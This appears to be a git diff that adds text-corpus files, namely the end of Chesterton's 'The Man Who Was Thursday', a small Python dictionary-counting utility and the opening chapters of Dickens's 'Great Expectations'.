The Secretary is reminded of the shapeless +protoplasm, and the Inspector of the carelessness of virgin +forests. The Professor says he is like a changing landscape. This +is queer, but it is queerer still that I also have had my odd +notion about the President, and I also find that I think of Sunday +as I think of the whole world." + +"Get on a little faster, Syme," said Bull; "never mind the +balloon." + +"When I first saw Sunday," said Syme slowly, "I only saw his back; +and when I saw his back, I knew he was the worst man in the world. +His neck and shoulders were brutal, like those of some apish god. +His head had a stoop that was hardly human, like the stoop of an +ox. In fact, I had at once the revolting fancy that this was not +a man at all, but a beast dressed up in men's clothes." + +"Get on," said Dr. Bull. + +"And then the queer thing happened. I had seen his back from the +street, as he sat in the balcony. Then I entered the hotel, and +coming round the other side of him, saw his face in the sunlight. +His face frightened me, as it did everyone; but not because it was +brutal, not because it was evil. On the contrary, it frightened me +because it was so beautiful, because it was so good." + +"Syme," exclaimed the Secretary, "are you ill?" + +"It was like the face of some ancient archangel, judging justly +after heroic wars. There was laughter in the eyes, and in the mouth +honour and sorrow. There was the same white hair, the same great, +grey-clad shoulders that I had seen from behind. But when I saw him +from behind I was certain he was an animal, and when I saw him in +front I knew he was a god." + +"Pan," said the Professor dreamily, "was a god and an animal." + +"Then, and again and always," went on Syme like a man talking to +himself, "that has been for me the mystery of Sunday, and it is +also the mystery of the world. When I see the horrible back, I am +sure the noble face is but a mask. When I see the face but for an +instant, I know the back is only a jest. Bad is so bad, that we +cannot but think good an accident; good is so good, that we feel +certain that evil could be explained. But the whole came to a kind +of crest yesterday when I raced Sunday for the cab, and was just +behind him all the way." + +"Had you time for thinking then?" asked Ratcliffe. + +"Time," replied Syme, "for one outrageous thought. I was suddenly +possessed with the idea that the blind, blank back of his head +really was his face--an awful, eyeless face staring at me! And I +fancied that the figure running in front of me was really a figure +running backwards, and dancing as he ran." + +"Horrible!" said Dr. Bull, and shuddered. + +"Horrible is not the word," said Syme. "It was exactly the worst +instant of my life. And yet ten minutes afterwards, when he put his +head out of the cab and made a grimace like a gargoyle, I knew that +he was only like a father playing hide-and-seek with his children." + +"It is a long game," said the Secretary, and frowned at his broken +boots. + +"Listen to me," cried Syme with extraordinary emphasis. "Shall I +tell you the secret of the whole world? It is that we have only +known the back of the world. We see everything from behind, and it +looks brutal. That is not a tree, but the back of a tree. That is +not a cloud, but the back of a cloud. Cannot you see that +everything is stooping and hiding a face? If we could only get +round in front--" + +"Look!" cried out Bull clamorously, "the balloon is coming down!" + +There was no need to cry out to Syme, who had never taken his eyes +off it. He saw the great luminous globe suddenly stagger in the +sky, right itself, and then sink slowly behind the trees like a +setting sun. + +The man called Gogol, who had hardly spoken through all their weary +travels, suddenly threw up his hands like a lost spirit. + +"He is dead!" he cried. "And now I know he was my friend--my friend +in the dark!" + +"Dead!" snorted the Secretary. "You will not find him dead easily. +If he has been tipped out of the car, we shall find him rolling as +a colt rolls in a field, kicking his legs for fun." + +"Clashing his hoofs," said the Professor. "The colts do, and so did +Pan." + +"Pan again!" said Dr. Bull irritably. "You seem to think Pan is +everything." + +"So he is," said the Professor, "in Greek. He means everything." + +"Don't forget," said the Secretary, looking down, "that he also +means Panic." + +Syme had stood without hearing any of the exclamations. + +"It fell over there," he said shortly. "Let us follow it!" + +Then he added with an indescribable gesture-- + +"Oh, if he has cheated us all by getting killed! It would be like +one of his larks." + +He strode off towards the distant trees with a new energy, his rags +and ribbons fluttering in the wind. The others followed him in a +more footsore and dubious manner. And almost at the same moment all +six men realised that they were not alone in the little field. + +Across the square of turf a tall man was advancing towards them, +leaning on a strange long staff like a sceptre. He was clad in a +fine but old-fashioned suit with knee-breeches; its colour was +that shade between blue, violet and grey which can be seen in +certain shadows of the woodland. His hair was whitish grey, and +at the first glance, taken along with his knee-breeches, looked +as if it was powdered. His advance was very quiet; but for the +silver frost upon his head, he might have been one to the shadows +of the wood. + +"Gentlemen," he said, "my master has a carriage waiting for you in +the road just by." + +"Who is your master?" asked Syme, standing quite still. + +"I was told you knew his name," said the man respectfully. + +There was a silence, and then the Secretary said-- + +"Where is this carriage?" + +"It has been waiting only a few moments," said the stranger. "My +master has only just come home." + +Syme looked left and right upon the patch of green field in which +he found himself. The hedges were ordinary hedges, the trees seemed +ordinary trees; yet he felt like a man entrapped in fairyland. + +He looked the mysterious ambassador up and down, but he could +discover nothing except that the man's coat was the exact colour of +the purple shadows, and that the man's face was the exact colour of +the red and brown and golden sky. + +"Show us the place," Syme said briefly, and without a word the man +in the violet coat turned his back and walked towards a gap in the +hedge, which let in suddenly the light of a white road. + +As the six wanderers broke out upon this thoroughfare, they saw the +white road blocked by what looked like a long row of carriages, +such a row of carriages as might close the approach to some house +in Park Lane. Along the side of these carriages stood a rank of +splendid servants, all dressed in the grey-blue uniform, and all +having a certain quality of stateliness and freedom which would not +commonly belong to the servants of a gentleman, but rather to the +officials and ambassadors of a great king. There were no less than +six carriages waiting, one for each of the tattered and miserable +band. All the attendants (as if in court-dress) wore swords, and as +each man crawled into his carriage they drew them, and saluted with +a sudden blaze of steel. + +"What can it all mean?" asked Bull of Syme as they separated. "Is +this another joke of Sunday's?" + +"I don't know," said Syme as he sank wearily back in the cushions +of his carriage; "but if it is, it's one of the jokes you talk +about. It's a good-natured one." + +The six adventurers had passed through many adventures, but not one +had carried them so utterly off their feet as this last adventure +of comfort. They had all become inured to things going roughly; but +things suddenly going smoothly swamped them. They could not even +feebly imagine what the carriages were; it was enough for them to +know that they were carriages, and carriages with cushions. They +could not conceive who the old man was who had led them; but it was +quite enough that he had certainly led them to the carriages. + +Syme drove through a drifting darkness of trees in utter +abandonment. It was typical of him that while he had carried his +bearded chin forward fiercely so long as anything could be done, +when the whole business was taken out of his hands he fell back +on the cushions in a frank collapse. + +Very gradually and very vaguely he realised into what rich roads +the carriage was carrying him. He saw that they passed the stone +gates of what might have been a park, that they began gradually to +climb a hill which, while wooded on both sides, was somewhat more +orderly than a forest. Then there began to grow upon him, as upon a +man slowly waking from a healthy sleep, a pleasure in everything. +He felt that the hedges were what hedges should be, living walls; +that a hedge is like a human army, disciplined, but all the more +alive. He saw high elms behind the hedges, and vaguely thought how +happy boys would be climbing there. Then his carriage took a turn +of the path, and he saw suddenly and quietly, like a long, low, +sunset cloud, a long, low house, mellow in the mild light of +sunset. All the six friends compared notes afterwards and +quarrelled; but they all agreed that in some unaccountable way the +place reminded them of their boyhood. It was either this elm-top +or that crooked path, it was either this scrap of orchard or that +shape of a window; but each man of them declared that he could +remember this place before he could remember his mother. + +When the carriages eventually rolled up to a large, low, cavernous +gateway, another man in the same uniform, but wearing a silver star +on the grey breast of his coat, came out to meet them. This +impressive person said to the bewildered Syme-- + +"Refreshments are provided for you in your room." + +Syme, under the influence of the same mesmeric sleep of amazement, +went up the large oaken stairs after the respectful attendant. He +entered a splendid suite of apartments that seemed to be designed +specially for him. He walked up to a long mirror with the ordinary +instinct of his class, to pull his tie straight or to smooth his +hair; and there he saw the frightful figure that he was--blood +running down his face from where the bough had struck him, his hair +standing out like yellow rags of rank grass, his clothes torn into +long, wavering tatters. At once the whole enigma sprang up, simply +as the question of how he had got there, and how he was to get out +again. Exactly at the same moment a man in blue, who had been +appointed as his valet, said very solemnly-- + +"I have put out your clothes, sir." + +"Clothes!" said Syme sardonically. "I have no clothes except +these," and he lifted two long strips of his frock-coat in +fascinating festoons, and made a movement as if to twirl like +a ballet girl. + +"My master asks me to say," said the attendant, that there is a +fancy dress ball tonight, and that he desires you to put on the +costume that I have laid out. Meanwhile, sir, there is a bottle +of Burgundy and some cold pheasant, which he hopes you will not +refuse, as it is some hours before supper." + +"Cold pheasant is a good thing," said Syme reflectively, "and +Burgundy is a spanking good thing. But really I do not want either +of them so much as I want to know what the devil all this means, +and what sort of costume you have got laid out for me. Where is +it?" + +The servant lifted off a kind of ottoman a long peacock-blue +drapery, rather of the nature of a domino, on the front of which +was emblazoned a large golden sun, and which was splashed here +and there with flaming stars and crescents. + +"You're to be dressed as Thursday, sir," said the valet somewhat +affably. + +"Dressed as Thursday!" said Syme in meditation. "It doesn't sound +a warm costume." + +"Oh, yes, sir," said the other eagerly, "the Thursday costume is +quite warm, sir. It fastens up to the chin." + +"Well, I don't understand anything," said Syme, sighing. "I have +been used so long to uncomfortable adventures that comfortable +adventures knock me out. Still, I may be allowed to ask why I +should be particularly like Thursday in a green frock spotted +all over with the sun and moon. Those orbs, I think, shine on +other days. I once saw the moon on Tuesday, I remember." + +"Beg pardon, sir," said the valet, "Bible also provided for you," +and with a respectful and rigid finger he pointed out a passage +in the first chapter of Genesis. Syme read it wondering. It was +that in which the fourth day of the week is associated with the +creation of the sun and moon. Here, however, they reckoned from +a Christian Sunday. + +"This is getting wilder and wilder," said Syme, as he sat down +in a chair. "Who are these people who provide cold pheasant and +Burgundy, and green clothes and Bibles? Do they provide +everything?" + +"Yes, sir, everything," said the attendant gravely. "Shall I help +you on with your costume?" + +"Oh, hitch the bally thing on!" said Syme impatiently. + +But though he affected to despise the mummery, he felt a curious +freedom and naturalness in his movements as the blue and gold +garment fell about him; and when he found that he had to wear a +sword, it stirred a boyish dream. As he passed out of the room he +flung the folds across his shoulder with a gesture, his sword +stood out at an angle, and he had all the swagger of a troubadour. +For these disguises did not disguise, but reveal. + + + +CHAPTER XV + +THE ACCUSER + +AS Syme strode along the corridor he saw the Secretary standing at +the top of a great flight of stairs. The man had never looked so +noble. He was draped in a long robe of starless black, down the +centre of which fell a band or broad stripe of pure white, like a +single shaft of light. The whole looked like some very severe +ecclesiastical vestment. There was no need for Syme to search his +memory or the Bible in order to remember that the first day of +creation marked the mere creation of light out of darkness. The +vestment itself would alone have suggested the symbol; and Syme +felt also how perfectly this pattern of pure white and black +expressed the soul of the pale and austere Secretary, with his +inhuman veracity and his cold frenzy, which made him so easily +make war on the anarchists, and yet so easily pass for one of +them. Syme was scarcely surprised to notice that, amid all the +ease and hospitality of their new surroundings, this man's eyes +were still stern. No smell of ale or orchards could make the +Secretary cease to ask a reasonable question. + +If Syme had been able to see himself, he would have realised that +he, too, seemed to be for the first time himself and no one else. +For if the Secretary stood for that philosopher who loves the +original and formless light, Syme was a type of the poet who seeks +always to make the light in special shapes, to split it up into +sun and star. The philosopher may sometimes love the infinite; the +poet always loves the finite. For him the great moment is not the +creation of light, but the creation of the sun and moon. + +As they descended the broad stairs together they overtook +Ratcliffe, who was clad in spring green like a huntsman, and the +pattern upon whose garment was a green tangle of trees. For he +stood for that third day on which the earth and green things were +made, and his square, sensible face, with its not unfriendly +cynicism, seemed appropriate enough to it. + +They were led out of another broad and low gateway into a very +large old English garden, full of torches and bonfires, by the +broken light of which a vast carnival of people were dancing in +motley dress. Syme seemed to see every shape in Nature imitated +in some crazy costume. There was a man dressed as a windmill with +enormous sails, a man dressed as an elephant, a man dressed as a +balloon; the two last, together, seemed to keep the thread of +their farcical adventures. Syme even saw, with a queer thrill, +one dancer dressed like an enormous hornbill, with a beak twice +as big as himself--the queer bird which had fixed itself on his +fancy like a living question while he was rushing down the long +road at the Zoological Gardens. There were a thousand other such +objects, however. There was a dancing lamp-post, a dancing apple +tree, a dancing ship. One would have thought that the untamable +tune of some mad musician had set all the common objects of field +and street dancing an eternal jig. And long afterwards, when Syme +was middle-aged and at rest, he could never see one of those +particular objects--a lamppost, or an apple tree, or a windmill-- +without thinking that it was a strayed reveller from that revel +of masquerade. + +On one side of this lawn, alive with dancers, was a sort of green +bank, like the terrace in such old-fashioned gardens. + +Along this, in a kind of crescent, stood seven great chairs, the +thrones of the seven days. Gogol and Dr. Bull were already in their +seats; the Professor was just mounting to his. Gogol, or Tuesday, +had his simplicity well symbolised by a dress designed upon the +division of the waters, a dress that separated upon his forehead +and fell to his feet, grey and silver, like a sheet of rain. The +Professor, whose day was that on which the birds and fishes--the +ruder forms of life--were created, had a dress of dim purple, over +which sprawled goggle-eyed fishes and outrageous tropical birds, +the union in him of unfathomable fancy and of doubt. Dr. Bull, the +last day of Creation, wore a coat covered with heraldic animals in +red and gold, and on his crest a man rampant. He lay back in his +chair with a broad smile, the picture of an optimist in his +element. + +One by one the wanderers ascended the bank and sat in their +strange seats. As each of them sat down a roar of enthusiasm rose +from the carnival, such as that with which crowds receive kings. +Cups were clashed and torches shaken, and feathered hats flung in +the air. The men for whom these thrones were reserved were men +crowned with some extraordinary laurels. But the central chair was +empty. + +Syme was on the left hand of it and the Secretary on the right. +The Secretary looked across the empty throne at Syme, and said, +compressing his lips-- + +"We do not know yet that he is not dead in a field." + +Almost as Syme heard the words, he saw on the sea of human faces in +front of him a frightful and beautiful alteration, as if heaven had +opened behind his head. But Sunday had only passed silently along +the front like a shadow, and had sat in the central seat. He was +draped plainly, in a pure and terrible white, and his hair was like +a silver flame on his forehead. + +For a long time--it seemed for hours--that huge masquerade of +mankind swayed and stamped in front of them to marching and +exultant music. Every couple dancing seemed a separate romance; +it might be a fairy dancing with a pillar-box, or a peasant girl +dancing with the moon; but in each case it was, somehow, as +absurd as Alice in Wonderland, yet as grave and kind as a love +story. At last, however, the thick crowd began to thin itself. +Couples strolled away into the garden-walks, or began to drift +towards that end of the building where stood smoking, in huge +pots like fish-kettles, some hot and scented mixtures of old ale +or wine. Above all these, upon a sort of black framework on the +roof of the house, roared in its iron basket a gigantic bonfire, +which lit up the land for miles. It flung the homely effect of +firelight over the face of vast forests of grey or brown, and it +seemed to fill with warmth even the emptiness of upper night. +Yet this also, after a time, was allowed to grow fainter; the +dim groups gathered more and more round the great cauldrons, or +passed, laughing and clattering, into the inner passages of that +ancient house. Soon there were only some ten loiterers in the +garden; soon only four. Finally the last stray merry-maker ran +into the house whooping to his companions. The fire faded, and +the slow, strong stars came out. And the seven strange men were +left alone, like seven stone statues on their chairs of stone. +Not one of them had spoken a word. + +They seemed in no haste to do so, but heard in silence the hum of +insects and the distant song of one bird. Then Sunday spoke, but +so dreamily that he might have been continuing a conversation +rather than beginning one. + +"We will eat and drink later," he said. "Let us remain together a +little, we who have loved each other so sadly, and have fought so +long. I seem to remember only centuries of heroic war, in which +you were always heroes--epic on epic, iliad on iliad, and you +always brothers in arms. Whether it was but recently (for time is +nothing), or at the beginning of the world, I sent you out to +war. I sat in the darkness, where there is not any created thing, +and to you I was only a voice commanding valour and an unnatural +virtue. You heard the voice in the dark, and you never heard it +again. The sun in heaven denied it, the earth and sky denied it, +all human wisdom denied it. And when I met you in the daylight I +denied it myself." + +Syme stirred sharply in his seat, but otherwise there was silence, +and the incomprehensible went on. + +"But you were men. You did not forget your secret honour, though +the whole cosmos turned an engine of torture to tear it out of +you. I knew how near you were to hell. I know how you, Thursday, +crossed swords with King Satan, and how you, Wednesday, named me +in the hour without hope." + +There was complete silence in the starlit garden, and then the +black-browed Secretary, implacable, turned in his chair towards +Sunday, and said in a harsh voice-- + +"Who and what are you?" + +"I am the Sabbath," said the other without moving. "I am the peace +of God." + +The Secretary started up, and stood crushing his costly robe in his +hand. + +"I know what you mean," he cried, "and it is exactly that that I +cannot forgive you. I know you are contentment, optimism, what do +they call the thing, an ultimate reconciliation. Well, I am not +reconciled. If you were the man in the dark room, why were you also +Sunday, an offense to the sunlight? If you were from the first our +father and our friend, why were you also our greatest enemy? We +wept, we fled in terror; the iron entered into our souls--and you +are the peace of God! Oh, I can forgive God His anger, though it +destroyed nations; but I cannot forgive Him His peace." + +Sunday answered not a word, but very slowly he turned his face of +stone upon Syme as if asking a question. + +"No," said Syme, "I do not feel fierce like that. I am grateful +to you, not only for wine and hospitality here, but for many a +fine scamper and free fight. But I should like to know. My soul +and heart are as happy and quiet here as this old garden, but my +reason is still crying out. I should like to know." + +Sunday looked at Ratcliffe, whose clear voice said-- + +"It seems so silly that you should have been on both sides and +fought yourself." + +Bull said-- + +"l understand nothing, but I am happy. In fact, I am going to +sleep." + +"I am not happy," said the Professor with his head in his hands, +"because I do not understand. You let me stray a little too near +to hell." + +And then Gogol said, with the absolute simplicity of a child-- + +"I wish I knew why I was hurt so much." + +Still Sunday said nothing, but only sat with his mighty chin upon +his hand, and gazed at the distance. Then at last he said-- + +"I have heard your complaints in order. And here, I think, comes +another to complain, and we will hear him also." + +The falling fire in the great cresset threw a last long gleam, like +a bar of burning gold, across the dim grass. Against this fiery +band was outlined in utter black the advancing legs of a black-clad +figure. He seemed to have a fine close suit with knee-breeches such +as that which was worn by the servants of the house, only that it +was not blue, but of this absolute sable. He had, like the +servants, a kind of word by his side. It was only when he had come +quite close to the crescent of the seven and flung up his face to +look at them, that Syme saw, with thunder-struck clearness, that +the face was the broad, almost ape-like face of his old friend +Gregory, with its rank red hair and its insulting smile. + +"Gregory!" gasped Syme, half-rising from his seat. "Why, this is +the real anarchist!" + +"Yes," said Gregory, with a great and dangerous restraint, "I am +the real anarchist." + +"'Now there was a day,'" murmured Bull, who seemed really to have +fallen asleep, "'when the sons of God came to present themselves +before the Lord, and Satan came also among them.'" + +"You are right," said Gregory, and gazed all round. "I am a +destroyer. I would destroy the world if I could." + +A sense of a pathos far under the earth stirred up in Syme, and +he spoke brokenly and without sequence. + +"Oh, most unhappy man," he cried, "try to be happy! You have red +hair like your sister." + +"My red hair, like red flames, shall burn up the world," said +Gregory. "I thought I hated everything more than common men can +hate anything; but I find that I do not hate everything so much +as I hate you! " + +"I never hated you," said Syme very sadly. + +Then out of this unintelligible creature the last thunders broke. + +"You!" he cried. "You never hated because you never lived. I know +what you are all of you, from first to last--you are the people +in power! You are the police--the great fat, smiling men in blue +and buttons! You are the Law, and you have never been broken. But +is there a free soul alive that does not long to break you, only +because you have never been broken? We in revolt talk all kind of +nonsense doubtless about this crime or that crime of the +Government. It is all folly! The only crime of the Government is +that it governs. The unpardonable sin of the supreme power is +that it is supreme. I do not curse you for being cruel. I do not +curse you (though I might) for being kind. I curse you for being +safe! You sit in your chairs of stone, and have never come down +from them. You are the seven angels of heaven, and you have had +no troubles. Oh, I could forgive you everything, you that rule +all mankind, if I could feel for once that you had suffered for +one hour a real agony such as I--" + +Syme sprang to his feet, shaking from head to foot. + +"I see everything," he cried, "everything that there is. Why does +each thing on the earth war against each other thing? Why does +each small thing in the world have to fight against the world +itself? Why does a fly have to fight the whole universe? Why does +a dandelion have to fight the whole universe? For the same reason +that I had to be alone in the dreadful Council of the Days. So +that each thing that obeys law may have the glory and isolation of +the anarchist. So that each man fighting for order may be as brave +and good a man as the dynamiter. So that the real lie of Satan may +be flung back in the face of this blasphemer, so that by tears and +torture we may earn the right to say to this man, 'You lie!' No +agonies can be too great to buy the right to say to this accuser, +'We also have suffered.' + +"It is not true that we have never been broken. We have been broken +upon the wheel. It is not true that we have never descended from +these thrones. We have descended into hell. We were complaining of +unforgettable miseries even at the very moment when this man +entered insolently to accuse us of happiness. I repel the slander; +we have not been happy. I can answer for every one of the great +guards of Law whom he has accused. At least--" + +He had turned his eyes so as to see suddenly the great face of +Sunday, which wore a strange smile. + +"Have you," he cried in a dreadful voice, "have you ever suffered?" + +As he gazed, the great face grew to an awful size, grew larger than +the colossal mask of Memnon, which had made him scream as a child. +It grew larger and larger, filling the whole sky; then everything +went black. Only in the blackness before it entirely destroyed his +brain he seemed to hear a distant voice saying a commonplace text +that he had heard somewhere, "Can ye drink of the cup that I drink +of?" + +* * * + +When men in books awake from a vision, they commonly find +themselves in some place in which they might have fallen asleep; +they yawn in a chair, or lift themselves with bruised limbs from a +field. Syme's experience was something much more psychologically +strange if there was indeed anything unreal, in the earthly sense, +about the things he had gone through. For while he could always +remember afterwards that he had swooned before the face of Sunday, +he could not remember having ever come to at all. He could only +remember that gradually and naturally he knew that he was and had +been walking along a country lane with an easy and conversational +companion. That companion had been a part of his recent drama; it +was the red-haired poet Gregory. They were walking like old +friends, and were in the middle of a conversation about some +triviality. But Syme could only feel an unnatural buoyancy in his +body and a crystal simplicity in his mind that seemed to be +superior to everything that he said or did. He felt he was in +possession of some impossible good news, which made every other +thing a triviality, but an adorable triviality. + +Dawn was breaking over everything in colours at once clear and +timid; as if Nature made a first attempt at yellow and a first +attempt at rose. A breeze blew so clean and sweet, that one could +not think that it blew from the sky; it blew rather through some +hole in the sky. Syme felt a simple surprise when he saw rising all +round him on both sides of the road the red, irregular buildings of +Saffron Park. He had no idea that he had walked so near London. He +walked by instinct along one white road, on which early birds +hopped and sang, and found himself outside a fenced garden. There +he saw the sister of Gregory, the girl with the gold-red hair, +cutting lilac before breakfast, with the great unconscious gravity +of a girl. + + + + + +End of Project Gutenberg Etext The Man Who Was Thursday, by Chesterton + diff --git a/mccalum/dicts.py b/mccalum/dicts.py new file mode 100644 index 0000000..c0481bb --- /dev/null +++ b/mccalum/dicts.py @@ -0,0 +1,18 @@ +import copy + +class DefaultDict (dict): + """Dictionary with a default value for unknown keys.""" + def __init__(self, default): + self.default = default + def __getitem__(self, key): + if key in self: return self.get(key) + return self.setdefault(key, copy.deepcopy(self.default)) + def sorted(self, rev=True): + counts = [ (c,w) for w,c in self.items() ] + counts.sort(reverse=rev) + return counts + +class CountingDict (DefaultDict): + def __init__(self): + DefaultDict.__init__(self, 0) + diff --git a/mccalum/grexp10.txt b/mccalum/grexp10.txt new file mode 100644 index 0000000..d955156 --- /dev/null +++ b/mccalum/grexp10.txt @@ -0,0 +1,21191 @@ +*The Project Gutenberg Etext of Great Expectations, by Dickens* +#38 in our series by Charles Dickens + +Copyright laws are changing all over the world, be sure to check +the copyright laws for your country before posting these files!! + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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If you + don't derive profits, no royalty is due. Royalties are + payable to "Project Gutenberg Association/Carnegie-Mellon + University" within the 60 days following each + date you prepare (or were legally required to prepare) + your annual (or equivalent periodic) tax return. + +WHAT IF YOU *WANT* TO SEND MONEY EVEN IF YOU DON'T HAVE TO? +The Project gratefully accepts contributions in money, time, +scanning machines, OCR software, public domain etexts, royalty +free copyright licenses, and every other sort of contribution +you can think of. Money should be paid to "Project Gutenberg +Association / Carnegie-Mellon University". + +*END*THE SMALL PRINT! FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + +GREAT EXPECTATIONS + +by + +Charles Dickens + + + + +Chapter 1 + +My father's family name being Pirrip, and my Christian name Philip, +my infant tongue could make of both names nothing longer or more +explicit than Pip. So, I called myself Pip, and came to be called +Pip. + +I give Pirrip as my father's family name, on the authority of his +tombstone and my sister - Mrs. Joe Gargery, who married the +blacksmith. As I never saw my father or my mother, and never saw +any likeness of either of them (for their days were long before the +days of photographs), my first fancies regarding what they were +like, were unreasonably derived from their tombstones. The shape of +the letters on my father's, gave me an odd idea that he was a +square, stout, dark man, with curly black hair. From the character +and turn of the inscription, "Also Georgiana Wife of the Above," I +drew a childish conclusion that my mother was freckled and sickly. +To five little stone lozenges, each about a foot and a half long, +which were arranged in a neat row beside their grave, and were +sacred to the memory of five little brothers of mine - who gave up +trying to get a living, exceedingly early in that universal +struggle - I am indebted for a belief I religiously entertained +that they had all been born on their backs with their hands in +their trousers-pockets, and had never taken them out in this state +of existence. + +Ours was the marsh country, down by the river, within, as the river +wound, twenty miles of the sea. My first most vivid and broad +impression of the identity of things, seems to me to have been +gained on a memorable raw afternoon towards evening. At such a time +I found out for certain, that this bleak place overgrown with +nettles was the churchyard; and that Philip Pirrip, late of this +parish, and also Georgiana wife of the above, were dead and buried; +and that Alexander, Bartholomew, Abraham, Tobias, and Roger, infant +children of the aforesaid, were also dead and buried; and that the +dark flat wilderness beyond the churchyard, intersected with dykes +and mounds and gates, with scattered cattle feeding on it, was the +marshes; and that the low leaden line beyond, was the river; and +that the distant savage lair from which the wind was rushing, was +the sea; and that the small bundle of shivers growing afraid of it +all and beginning to cry, was Pip. + +"Hold your noise!" cried a terrible voice, as a man started up from +among the graves at the side of the church porch. "Keep still, you +little devil, or I'll cut your throat!" + +A fearful man, all in coarse grey, with a great iron on his leg. A +man with no hat, and with broken shoes, and with an old rag tied +round his head. A man who had been soaked in water, and smothered +in mud, and lamed by stones, and cut by flints, and stung by +nettles, and torn by briars; who limped, and shivered, and glared +and growled; and whose teeth chattered in his head as he seized me +by the chin. + +"O! Don't cut my throat, sir," I pleaded in terror. "Pray don't do +it, sir." + +"Tell us your name!" said the man. "Quick!" + +"Pip, sir." + +"Once more," said the man, staring at me. "Give it mouth!" + +"Pip. Pip, sir." + +"Show us where you live," said the man. "Pint out the place!" + +I pointed to where our village lay, on the flat in-shore among the +alder-trees and pollards, a mile or more from the church. + +The man, after looking at me for a moment, turned me upside down, +and emptied my pockets. There was nothing in them but a piece of +bread. When the church came to itself - for he was so sudden and +strong that he made it go head over heels before me, and I saw the +steeple under my feet - when the church came to itself, I say, I +was seated on a high tombstone, trembling, while he ate the bread +ravenously. + +"You young dog," said the man, licking his lips, "what fat cheeks +you ha' got." + +I believe they were fat, though I was at that time undersized for +my years, and not strong. + +"Darn me if I couldn't eat em," said the man, with a threatening +shake of his head, "and if I han't half a mind to't!" + +I earnestly expressed my hope that he wouldn't, and held tighter to +the tombstone on which he had put me; partly, to keep myself upon +it; partly, to keep myself from crying. + +"Now lookee here!" said the man. "Where's your mother?" + +"There, sir!" said I. + +He started, made a short run, and stopped and looked over his +shoulder. + +"There, sir!" I timidly explained. "Also Georgiana. That's my +mother." + +"Oh!" said he, coming back. "And is that your father alonger your +mother?" + +"Yes, sir," said I; "him too; late of this parish." + +"Ha!" he muttered then, considering. "Who d'ye live with - +supposin' you're kindly let to live, which I han't made up my mind +about?" + +"My sister, sir - Mrs. Joe Gargery - wife of Joe Gargery, the +blacksmith, sir." + +"Blacksmith, eh?" said he. And looked down at his leg. + +After darkly looking at his leg and me several times, he came +closer to my tombstone, took me by both arms, and tilted me back as +far as he could hold me; so that his eyes looked most powerfully +down into mine, and mine looked most helplessly up into his. + +"Now lookee here," he said, "the question being whether you're to +be let to live. You know what a file is?" + +"Yes, sir." + +"And you know what wittles is?" + +"Yes, sir." + +After each question he tilted me over a little more, so as to give +me a greater sense of helplessness and danger. + +"You get me a file." He tilted me again. "And you get me wittles." +He tilted me again. "You bring 'em both to me." He tilted me again. +"Or I'll have your heart and liver out." He tilted me again. + +I was dreadfully frightened, and so giddy that I clung to him with +both hands, and said, "If you would kindly please to let me keep +upright, sir, perhaps I shouldn't be sick, and perhaps I could +attend more." + +He gave me a most tremendous dip and roll, so that the church +jumped over its own weather-cock. Then, he held me by the arms, in +an upright position on the top of the stone, and went on in these +fearful terms: + +"You bring me, to-morrow morning early, that file and them wittles. +You bring the lot to me, at that old Battery over yonder. You do +it, and you never dare to say a word or dare to make a sign +concerning your having seen such a person as me, or any person +sumever, and you shall be let to live. You fail, or you go from my +words in any partickler, no matter how small it is, and your heart +and your liver shall be tore out, roasted and ate. Now, I ain't +alone, as you may think I am. There's a young man hid with me, in +comparison with which young man I am a Angel. That young man hears +the words I speak. That young man has a secret way pecooliar to +himself, of getting at a boy, and at his heart, and at his liver. +It is in wain for a boy to attempt to hide himself from that young +man. A boy may lock his door, may be warm in bed, may tuck himself +up, may draw the clothes over his head, may think himself +comfortable and safe, but that young man will softly creep and +creep his way to him and tear him open. I am a-keeping that young +man from harming of you at the present moment, with great +difficulty. I find it wery hard to hold that young man off of your +inside. Now, what do you say?" + +I said that I would get him the file, and I would get him what +broken bits of food I could, and I would come to him at the +Battery, early in the morning. + +"Say Lord strike you dead if you don't!" said the man. + +I said so, and he took me down. + +"Now," he pursued, "you remember what you've undertook, and you +remember that young man, and you get home!" + +"Goo-good night, sir," I faltered. + +"Much of that!" said he, glancing about him over the cold wet flat. +"I wish I was a frog. Or a eel!" + +At the same time, he hugged his shuddering body in both his arms - +clasping himself, as if to hold himself together - and limped +towards the low church wall. As I saw him go, picking his way among +the nettles, and among the brambles that bound the green mounds, he +looked in my young eyes as if he were eluding the hands of the dead +people, stretching up cautiously out of their graves, to get a +twist upon his ankle and pull him in. + +When he came to the low church wall, he got over it, like a man +whose legs were numbed and stiff, and then turned round to look for +me. When I saw him turning, I set my face towards home, and made +the best use of my legs. But presently I looked over my shoulder, +and saw him going on again towards the river, still hugging himself +in both arms, and picking his way with his sore feet among the +great stones dropped into the marshes here and there, for +stepping-places when the rains were heavy, or the tide was in. + +The marshes were just a long black horizontal line then, as I +stopped to look after him; and the river was just another +horizontal line, not nearly so broad nor yet so black; and the sky +was just a row of long angry red lines and dense black lines +intermixed. On the edge of the river I could faintly make out the +only two black things in all the prospect that seemed to be +standing upright; one of these was the beacon by which the sailors +steered - like an unhooped cask upon a pole - an ugly thing when +you were near it; the other a gibbet, with some chains hanging to +it which had once held a pirate. The man was limping on towards +this latter, as if he were the pirate come to life, and come down, +and going back to hook himself up again. It gave me a terrible turn +when I thought so; and as I saw the cattle lifting their heads to +gaze after him, I wondered whether they thought so too. I looked +all round for the horrible young man, and could see no signs of +him. But, now I was frightened again, and ran home without +stopping. + + +Chapter 2 + +My sister, Mrs. Joe Gargery, was more than twenty years older than +I, and had established a great reputation with herself and the +neighbours because she had brought me up "by hand." Having at that +time to find out for myself what the expression meant, and knowing +her to have a hard and heavy hand, and to be much in the habit of +laying it upon her husband as well as upon me, I supposed that Joe +Gargery and I were both brought up by hand. + +She was not a good-looking woman, my sister; and I had a general +impression that she must have made Joe Gargery marry her by hand. +Joe was a fair man, with curls of flaxen hair on each side of his +smooth face, and with eyes of such a very undecided blue that they +seemed to have somehow got mixed with their own whites. He was a +mild, good-natured, sweet-tempered, easy-going, foolish, dear +fellow - a sort of Hercules in strength, and also in weakness. + +My sister, Mrs. Joe, with black hair and eyes, had such a prevailing +redness of skin that I sometimes used to wonder whether it was +possible she washed herself with a nutmeg-grater instead of soap. +She was tall and bony, and almost always wore a coarse apron, +fastened over her figure behind with two loops, and having a square +impregnable bib in front, that was stuck full of pins and needles. +She made it a powerful merit in herself, and a strong reproach +against Joe, that she wore this apron so much. Though I really see +no reason why she should have worn it at all: or why, if she did +wear it at all, she should not have taken 